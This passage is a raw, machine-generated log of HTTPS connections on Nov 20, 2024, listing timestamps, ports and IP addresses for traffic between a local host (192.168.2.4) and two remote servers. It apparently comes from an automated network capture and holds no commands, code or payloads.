Nov 20, 2024 07:48:57.227073908 CET	49772	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.227081060 CET	443	49772	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.230637074 CET	49776	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.230679989 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.230776072 CET	49776	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.231021881 CET	49776	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.231034994 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.232464075 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.232538939 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.232598066 CET	49770	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.232724905 CET	49770	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.232759953 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.232780933 CET	49770	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.232788086 CET	443	49770	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.234781027 CET	49777	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.234806061 CET	443	49777	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.234884024 CET	49777	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.235048056 CET	49777	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.235064983 CET	443	49777	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.770730972 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.771429062 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.774404049 CET	49774	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.774440050 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.774808884 CET	49773	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.774852037 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.775379896 CET	49774	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.775391102 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.775504112 CET	49773	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.775515079 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.787651062 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.788203001 CET	49775	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.788224936 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.788675070 CET	49775	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.788681984 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.870487928 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.870568991 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.870677948 CET	49774	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.870934963 CET	49774	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.870960951 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.870975971 CET	49774	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.870980024 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.870982885 CET	443	49774	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.871377945 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.871431112 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.871501923 CET	49773	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.873759985 CET	49773	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.873786926 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.873795986 CET	49773	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.873802900 CET	443	49773	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.875168085 CET	49776	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.875200987 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.875863075 CET	49776	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.875869036 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.881504059 CET	49778	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.881537914 CET	443	49778	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.881639957 CET	49778	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.881782055 CET	49778	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.881791115 CET	443	49778	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.882848024 CET	49779	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.882893085 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.882982969 CET	49779	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.883059025 CET	49779	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.883069992 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.888641119 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.888720989 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.888782978 CET	49775	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.888848066 CET	49775	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.888864994 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.888883114 CET	49775	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.888887882 CET	443	49775	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.891416073 CET	49780	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.891438961 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.891515970 CET	49780	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.891666889 CET	49780	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.891680956 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.909106016 CET	443	49777	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.910208941 CET	49777	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.910227060 CET	443	49777	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:57.910677910 CET	49777	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:57.910684109 CET	443	49777	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.181684971 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.181771994 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.181824923 CET	443	49777	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.181894064 CET	443	49777	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.181919098 CET	49776	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.181958914 CET	49777	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.182216883 CET	49776	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.182235003 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.182246923 CET	49776	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.182254076 CET	443	49776	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.182419062 CET	49777	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.182440042 CET	443	49777	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.182456017 CET	49777	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.182461977 CET	443	49777	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.185656071 CET	49781	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.185677052 CET	49782	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.185724020 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.185738087 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.185803890 CET	49782	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.185842991 CET	49781	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.185986042 CET	49782	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.185992956 CET	49781	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.186002016 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.186028957 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.490118027 CET	49783	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:58.490158081 CET	443	49783	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:58.490242958 CET	49783	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:58.490684032 CET	49783	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:58.490695953 CET	443	49783	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:58.530652046 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.534324884 CET	49780	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.534352064 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.534976006 CET	49780	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.534981966 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.548079014 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.550052881 CET	49779	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.550066948 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.550560951 CET	49779	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.550565004 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.555357933 CET	443	49778	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.557988882 CET	49778	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.558001995 CET	443	49778	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.558474064 CET	49778	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.558479071 CET	443	49778	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.632391930 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.632483006 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.632590055 CET	49780	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.634327888 CET	49780	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.634351969 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.634368896 CET	49780	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.634377003 CET	443	49780	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.636971951 CET	49784	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.637018919 CET	443	49784	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.637103081 CET	49784	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.637217045 CET	49784	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.637226105 CET	443	49784	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.655524969 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.655591965 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.655690908 CET	49779	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.655915976 CET	49779	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.655931950 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.655942917 CET	49779	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.655947924 CET	443	49779	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.662450075 CET	443	49778	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.662503958 CET	443	49778	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.662589073 CET	49778	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.759730101 CET	49778	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.759752989 CET	443	49778	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.765964031 CET	49785	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.766011953 CET	443	49785	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.766109943 CET	49785	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.766678095 CET	49786	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.766721964 CET	443	49786	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.766772032 CET	49786	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.767122984 CET	49785	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.767137051 CET	443	49785	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.767225981 CET	49786	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.767241001 CET	443	49786	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.833333969 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.839498997 CET	49782	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.839529991 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.848526001 CET	49782	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.848535061 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.851212978 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.863302946 CET	49781	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.863338947 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.863687992 CET	49781	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.863693953 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.946672916 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.946762085 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.946849108 CET	49782	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.947031021 CET	49782	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.947057009 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.947071075 CET	49782	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.947079897 CET	443	49782	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.963537931 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.963622093 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.963690042 CET	49781	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.964896917 CET	49787	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.964947939 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.965022087 CET	49787	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.990556955 CET	49781	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.990556955 CET	49781	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.990597010 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.990612030 CET	443	49781	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.991147995 CET	49787	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.991189957 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.996948004 CET	49788	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.997000933 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:58.997081041 CET	49788	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.997921944 CET	49788	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:58.997934103 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.257637024 CET	443	49783	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:59.257739067 CET	49783	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:59.260204077 CET	49783	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:59.260216951 CET	443	49783	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:59.260554075 CET	443	49783	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:59.272067070 CET	49783	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:59.278183937 CET	443	49784	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.278717995 CET	49784	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.278743029 CET	443	49784	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.279160976 CET	49784	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.279167891 CET	443	49784	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.315347910 CET	443	49783	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:59.379376888 CET	443	49784	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.379461050 CET	443	49784	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.379518032 CET	49784	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.380152941 CET	49784	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.380170107 CET	443	49784	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.380182981 CET	49784	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.380196095 CET	443	49784	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.383882999 CET	49789	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.383984089 CET	443	49789	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.384089947 CET	49789	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.384229898 CET	49789	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.384251118 CET	443	49789	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.429650068 CET	443	49786	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.440159082 CET	443	49785	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.441951036 CET	49786	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.441972017 CET	443	49786	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.442451000 CET	49786	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.442457914 CET	443	49786	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.444159031 CET	49785	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.444178104 CET	443	49785	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.444571018 CET	49785	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.444576979 CET	443	49785	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.543239117 CET	443	49786	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.543307066 CET	443	49786	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.543440104 CET	49786	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.543659925 CET	49786	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.543684006 CET	443	49786	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.543699980 CET	49786	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.543708086 CET	443	49786	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.546401978 CET	443	49785	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.546577930 CET	443	49785	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.546646118 CET	49785	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.546694040 CET	49785	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.546710968 CET	443	49785	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.546721935 CET	49785	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.546726942 CET	443	49785	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.547071934 CET	49790	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.547126055 CET	443	49790	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.547209978 CET	49790	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.547328949 CET	49790	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.547339916 CET	443	49790	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.549333096 CET	49791	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.549417019 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.549525976 CET	49791	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.549707890 CET	49791	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.549742937 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.585329056 CET	443	49783	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:59.585350990 CET	443	49783	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:59.585381031 CET	443	49783	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:59.585505009 CET	49783	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:59.585517883 CET	443	49783	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:59.585572004 CET	49783	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:59.585911036 CET	443	49783	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:59.585952044 CET	443	49783	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:59.585984945 CET	49783	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:59.585990906 CET	443	49783	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:59.586031914 CET	49783	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:59.586376905 CET	443	49783	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:59.586421967 CET	49783	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:59.590713024 CET	49783	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:59.590720892 CET	443	49783	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:59.590745926 CET	49783	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:59.590749979 CET	443	49783	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:59.644413948 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.644889116 CET	49788	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.644906044 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.645412922 CET	49788	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.645418882 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.670521975 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.670908928 CET	49787	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.670933962 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.671327114 CET	49787	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.671333075 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.751990080 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.752058029 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.752108097 CET	49788	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.767096996 CET	49788	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.767117023 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.767129898 CET	49788	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.767137051 CET	443	49788	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.772314072 CET	49792	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.772355080 CET	443	49792	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.772434950 CET	49792	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.772695065 CET	49792	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.772711039 CET	443	49792	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.775556087 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.775891066 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.775942087 CET	49787	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.776032925 CET	49787	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.776057005 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.776072025 CET	49787	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.776078939 CET	443	49787	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.778713942 CET	49793	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.778740883 CET	443	49793	13.107.246.45	192.168.2.4
Nov 20, 2024 07:48:59.778795958 CET	49793	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.778930902 CET	49793	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:48:59.778948069 CET	443	49793	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.030616999 CET	443	49789	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.034524918 CET	49789	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.034590006 CET	443	49789	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.035013914 CET	49789	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.035028934 CET	443	49789	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.137938976 CET	443	49789	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.138022900 CET	443	49789	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.141809940 CET	49789	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.142021894 CET	49789	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.142056942 CET	443	49789	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.142122984 CET	49789	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.142138958 CET	443	49789	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.145101070 CET	49794	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.145143032 CET	443	49794	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.145246029 CET	49794	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.145396948 CET	49794	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.145412922 CET	443	49794	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.189522028 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.190185070 CET	49791	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.190226078 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.190649033 CET	49791	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.190660954 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.225656986 CET	443	49790	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.226047993 CET	49790	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.226078033 CET	443	49790	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.226449013 CET	49790	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.226455927 CET	443	49790	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.288897038 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.289093018 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.289256096 CET	49791	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.289311886 CET	49791	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.289336920 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.289376974 CET	49791	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.289390087 CET	443	49791	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.291935921 CET	49795	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.291982889 CET	443	49795	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:00.292067051 CET	49795	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.292201042 CET	49795	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:00.292212963 CET	443	49795	13.107.246.45	192.168.2.4
